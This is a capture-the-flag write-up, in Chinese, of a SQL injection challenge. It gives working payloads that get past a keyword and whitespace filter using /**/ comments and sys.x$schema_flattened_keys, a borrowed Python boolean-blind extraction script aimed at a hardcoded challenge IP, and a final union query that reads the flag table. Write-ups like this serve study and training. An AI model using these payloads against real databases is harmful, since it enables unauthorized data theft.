sqli
打開題目是常見的id注入,輸入單引號發現報錯,輸入#成功過濾
使用sql語句應該是
select * from admin where id='';
經過測試發現有3個字段(因為這里過濾了空格通過/**/繞過)
10'union/**/select/**/version(),database(),user()#
查看到database()是sqlidb
在測試union select注入的時候發現了過濾原則
preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);
這里推薦一個好用的正則表達式平台
可以看到過濾了好多,就不能使用information_schema庫了,但是mysql還有其他繞過information_schema的方法
簡單的聊聊information_schema
我這里使用sys.x$schema_flattened_keys來代替information_schema
然后采用布爾盲注方法
payload:
id=1'=(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema='sqlidb'),1,1))='a')%23
拼接之后就是
select * from admin where id='1'=(ascii(substr((select/**/group_concat(table_name)from/**/sys.x$schema_flattened_keys/**/where/**/table_schema='sqlidb'),1,1))='a')%23 ';
提示:id='1'后面的=也可以用來判斷,而且還可以利用>或者<
意思就是 后面語句正確就是1,1=1肯定正確就查詢成功,反之。
由於本人不會寫腳本,這里是用別人的腳本
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 穎奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
#ascii_letters是生成所有字母,從a-z和A-Z,digits是生成所有數字0-9.
res = ''
#庫名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23
#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''
for i in range(1,100):
for char in alpa:
host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)
r = req.get(host)
if r'admin666' in r.text:
res += char
print("found it: "+res)
break
t.sleep(0.2)
跑出table_name是fllllaaaggg
最后直接union select查詢
?id=1'union/**/select/**/1,*/**/from/**/fllllaaaggg%23
最后這個payload需要說明一下,這里直接用Y1ng師傅說的:
因為union select * 查詢的字段只有2個,為了滿足字段數相同,就在前面添加了一個1。
只能說師傅tql!!!!
總結:
該題目考察了繞過information_schema,布爾盲注和=><的使用